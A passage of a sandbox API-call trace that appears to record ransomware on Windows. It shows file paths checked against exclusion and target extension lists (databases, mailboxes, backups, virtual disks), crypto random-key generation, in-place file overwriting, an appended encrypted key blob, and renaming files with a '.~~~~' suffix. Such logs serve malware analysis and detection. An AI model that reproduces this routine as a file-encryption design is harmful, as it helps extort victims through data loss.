	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".edb") returned 0x0
	[0082.250] lstrlenW (lpString=".PST") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".PST") returned 0x0
	[0082.250] lstrlenW (lpString=".dbf") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".dbf") returned 0x0
	[0082.250] lstrlenW (lpString=".SQL") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".SQL") returned 0x0
	[0082.250] lstrlenW (lpString=".pst") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".pst") returned 0x0
	[0082.250] lstrlenW (lpString=".dbv") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".dbv") returned 0x0
	[0082.250] lstrlenW (lpString=".SDF") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".SDF") returned 0x0
	[0082.250] lstrlenW (lpString=".dtxs") returned 5
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".dtxs") returned 0x0
	[0082.250] lstrlenW (lpString=".db3") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".db3") returned 0x0
	[0082.250] lstrlenW (lpString=".OST") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".OST") returned 0x0
	[0082.250] lstrlenW (lpString=".dbx") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".dbx") returned 0x0
	[0082.250] lstrlenW (lpString=".DB3") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".DB3") returned 0x0
	[0082.250] lstrlenW (lpString=".DAT") returned 4
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".DAT") returned 0x0
	[0082.250] lstrlenW (lpString=".VHDX") returned 5
	[0082.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".VHDX") returned 0x0
	[0082.251] lstrlenW (lpString=".ndf") returned 4
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".ndf") returned 0x0
	[0082.251] lstrlenW (lpString=".DB") returned 3
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".DB") returned 0x0
	[0082.251] lstrlenW (lpString=".sql") returned 4
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".sql") returned 0x0
	[0082.251] lstrlenW (lpString=".MYD") returned 4
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".MYD") returned 0x0
	[0082.251] lstrlenW (lpString=".DBT") returned 4
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".DBT") returned 0x0
	[0082.251] lstrlenW (lpString=".ACCDB") returned 6
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.251] lstrlenW (lpString=".fdb") returned 4
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".fdb") returned 0x0
	[0082.251] lstrlenW (lpString=".bak") returned 4
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".bak") returned 0x0
	[0082.251] lstrlenW (lpString=".myd") returned 4
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".myd") returned 0x0
	[0082.251] lstrlenW (lpString=".DTXS") returned 5
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".DTXS") returned 0x0
	[0082.251] lstrlenW (lpString=".ckp") returned 4
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".ckp") returned 0x0
	[0082.251] lstrlenW (lpString=".dbt") returned 4
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".dbt") returned 0x0
	[0082.251] lstrlenW (lpString=".db") returned 3
	[0082.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".db") returned 0x0
	[0082.252] lstrlenW (lpString=".TXT") returned 4
	[0082.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".TXT") returned 0x0
	[0082.252] lstrlenW (lpString=".MDF") returned 4
	[0082.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".MDF") returned 0x0
	[0082.252] lstrlenW (lpString=".bdb") returned 4
	[0082.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".bdb") returned 0x0
	[0082.252] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0082.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.252] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0082.253] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.253] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0082.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0082.253] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20224334325) returned 1
	[0082.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9adf6df0, dwHighDateTime=0x1d60e1e)) 
	[0082.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0082.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0082.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0082.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3610
	[0082.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3610 | out: hHeap=0x300000) returned 1
	[0082.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0082.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a74c0
	[0082.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0082.254] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0082.254] GetLastError () returned 0x0
	[0082.254] GetLastError () returned 0x0
	[0082.254] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0082.254] GetLastError () returned 0x0
	[0082.255] GetLastError () returned 0x0
	[0082.255] ReadFile (in: hFile=0x124, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.258] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.259] WriteFile (in: hFile=0x124, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.260] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.260] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.260] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.260] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.261] CloseHandle (hObject=0x124) returned 1
	[0082.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0082.261] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.~~~~")) returned 1
	[0082.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0082.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0082.262] GetLastError () returned 0x0
	[0082.262] RtlWakeConditionVariable () returned 0x365f70
	[0082.262] GetCurrentThreadId () returned 0xaf0
	[0082.262] GetCurrentThreadId () returned 0xaf0
	[0082.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0082.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8368 | out: hHeap=0x300000) returned 1
	[0082.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a35d8 | out: hHeap=0x300000) returned 1
	[0082.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8368
	[0082.262] lstrlenW (lpString=".scr") returned 4
	[0082.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".scr") returned 0x0
	[0082.262] lstrlenW (lpString=".cmd") returned 4
	[0082.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".cmd") returned 0x0
	[0082.262] lstrlenW (lpString=".dll") returned 4
	[0082.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".dll") returned 0x0
	[0082.262] lstrlenW (lpString=".bat") returned 4
	[0082.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".bat") returned 0x0
	[0082.262] lstrlenW (lpString=".cpl") returned 4
	[0082.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".cpl") returned 0x0
	[0082.262] lstrlenW (lpString=".sys") returned 4
	[0082.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".sys") returned 0x0
	[0082.263] lstrlenW (lpString=".msc") returned 4
	[0082.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".msc") returned 0x0
	[0082.263] lstrlenW (lpString=".com") returned 4
	[0082.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".com") returned 0x0
	[0082.263] lstrlenW (lpString=".lnk") returned 4
	[0082.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".lnk") returned 0x0
	[0082.263] lstrlenW (lpString=".msp") returned 4
	[0082.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".msp") returned 0x0
	[0082.263] lstrlenW (lpString=".pif") returned 4
	[0082.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".pif") returned 0x0
	[0082.263] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.326] lstrlenW (lpString=".sqb") returned 4
	[0082.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".sqb") returned 0x0
	[0082.326] lstrlenW (lpString=".ost") returned 4
	[0082.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".ost") returned 0x0
	[0082.327] lstrlenW (lpString=".txt") returned 4
	[0082.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".txt") returned 0x0
	[0082.327] lstrlenW (lpString=".mdt") returned 4
	[0082.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".mdt") returned 0x0
	[0082.327] lstrlenW (lpString=".BDB") returned 4
	[0082.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".BDB") returned 0x0
	[0082.327] lstrlenW (lpString=".eql") returned 4
	[0082.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".eql") returned 0x0
	[0082.327] lstrlenW (lpString=".DBF") returned 4
	[0082.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".DBF") returned 0x0
	[0082.327] lstrlenW (lpString=".EQL") returned 4
	[0082.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".EQL") returned 0x0
	[0082.327] lstrlenW (lpString=".FDB") returned 4
	[0082.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".FDB") returned 0x0
	[0082.327] lstrlenW (lpString=".EDB") returned 4
	[0082.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".EDB") returned 0x0
	[0082.327] lstrlenW (lpString=".DACPAC") returned 7
	[0082.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.369] lstrlenW (lpString=".VHD") returned 4
	[0082.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".VHD") returned 0x0
	[0082.369] lstrlenW (lpString=".DBV") returned 4
	[0082.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".DBV") returned 0x0
	[0082.369] lstrlenW (lpString=".dacpac") returned 7
	[0082.369] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".dacpac") returned 0x0
	[0082.369] lstrlenW (lpString=".sdf") returned 4
	[0082.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".sdf") returned 0x0
	[0082.392] lstrlenW (lpString=".accdb") returned 6
	[0082.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".accdb") returned 0x0
	[0082.392] lstrlenW (lpString=".DBX") returned 4
	[0082.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".DBX") returned 0x0
	[0082.392] lstrlenW (lpString=".MDT") returned 4
	[0082.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".MDT") returned 0x0
	[0082.392] lstrlenW (lpString=".SQB") returned 4
	[0082.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".SQB") returned 0x0
	[0082.392] lstrlenW (lpString=".vhd") returned 4
	[0082.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".vhd") returned 0x0
	[0082.392] lstrlenW (lpString=".bac") returned 4
	[0082.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".bac") returned 0x0
	[0082.393] lstrlenW (lpString=".mdf") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".mdf") returned 0x0
	[0082.393] lstrlenW (lpString=".BAK") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".BAK") returned 0x0
	[0082.393] lstrlenW (lpString=".BAC") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".BAC") returned 0x0
	[0082.393] lstrlenW (lpString=".dbs") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".dbs") returned 0x0
	[0082.393] lstrlenW (lpString=".vhdx") returned 5
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".vhdx") returned 0x0
	[0082.393] lstrlenW (lpString=".NDF") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".NDF") returned 0x0
	[0082.393] lstrlenW (lpString=".dat") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".dat") returned 0x0
	[0082.393] lstrlenW (lpString=".DBS") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".DBS") returned 0x0
	[0082.393] lstrlenW (lpString=".CKP") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".CKP") returned 0x0
	[0082.393] lstrlenW (lpString=".edb") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".edb") returned 0x0
	[0082.393] lstrlenW (lpString=".PST") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".PST") returned 0x0
	[0082.393] lstrlenW (lpString=".dbf") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".dbf") returned 0x0
	[0082.393] lstrlenW (lpString=".SQL") returned 4
	[0082.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".SQL") returned 0x0
	[0082.393] lstrlenW (lpString=".pst") returned 4
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".pst") returned 0x0
	[0082.394] lstrlenW (lpString=".dbv") returned 4
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".dbv") returned 0x0
	[0082.394] lstrlenW (lpString=".SDF") returned 4
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".SDF") returned 0x0
	[0082.394] lstrlenW (lpString=".dtxs") returned 5
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".dtxs") returned 0x0
	[0082.394] lstrlenW (lpString=".db3") returned 4
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".db3") returned 0x0
	[0082.394] lstrlenW (lpString=".OST") returned 4
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".OST") returned 0x0
	[0082.394] lstrlenW (lpString=".dbx") returned 4
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".dbx") returned 0x0
	[0082.394] lstrlenW (lpString=".DB3") returned 4
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".DB3") returned 0x0
	[0082.394] lstrlenW (lpString=".DAT") returned 4
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".DAT") returned 0x0
	[0082.394] lstrlenW (lpString=".VHDX") returned 5
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".VHDX") returned 0x0
	[0082.394] lstrlenW (lpString=".ndf") returned 4
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".ndf") returned 0x0
	[0082.394] lstrlenW (lpString=".DB") returned 3
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".DB") returned 0x0
	[0082.394] lstrlenW (lpString=".sql") returned 4
	[0082.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".sql") returned 0x0
	[0082.394] lstrlenW (lpString=".MYD") returned 4
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".MYD") returned 0x0
	[0082.395] lstrlenW (lpString=".DBT") returned 4
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".DBT") returned 0x0
	[0082.395] lstrlenW (lpString=".ACCDB") returned 6
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.395] lstrlenW (lpString=".fdb") returned 4
	[0082.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL", lpSrch=".fdb") returned 0x0
	[0082.395] lstrlenW (lpString=".bak") returned 4
